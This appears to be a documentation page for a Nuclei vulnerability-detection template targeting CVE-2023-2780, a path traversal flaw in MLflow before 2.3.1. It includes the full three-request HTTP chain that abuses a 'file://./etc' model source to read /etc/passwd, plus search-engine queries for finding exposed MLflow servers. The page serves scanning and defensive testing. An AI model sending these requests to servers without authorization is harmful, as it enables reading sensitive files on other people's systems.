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Mlflow <2.3.1 - Local File Inclusion Bypass

ID: CVE-2023-2780

Severity: critical

Author: iamnoooob,pdresearch

Tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects

Description

Section titled “Description”

Path Traversal: ’\..\filename’ in GitHub repository mlflow/mlflow prior to 2.3.1.

YAML Source

Section titled “YAML Source”
id: CVE-2023-2780


info:
  name: Mlflow <2.3.1 - Local File Inclusion Bypass
  author: iamnoooob,pdresearch
  severity: critical
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.3.1.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.3.1 or later to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/b12b0073-0bb0-4bd1-8fc2-ec7f17fd7689/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2780
    - https://github.com/mlflow/mlflow/commit/fae77a525dd908c56d6204a4cef1c1c75b4e9857
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-2780
    cwe-id: CWE-29
    epss-score: 0.04145
    epss-percentile: 0.92175
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,mlflow,oss,lfi,huntr,intrusive,lfprojects


http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8


        {"name":"{{randstr}}"}
      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=utf-8


        {"name":"{{randstr}}","source":"file://./etc"}
      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version={{version}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body
# digest: 490a004630440220768284c730b2ff14eb708823811fef08050a1c0b8b7e27797f48b23169939567022038c4c23541703d34c5566d9c1c61f3576a7a844503af782b5ca8e29636fd6e68:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2780.yaml"

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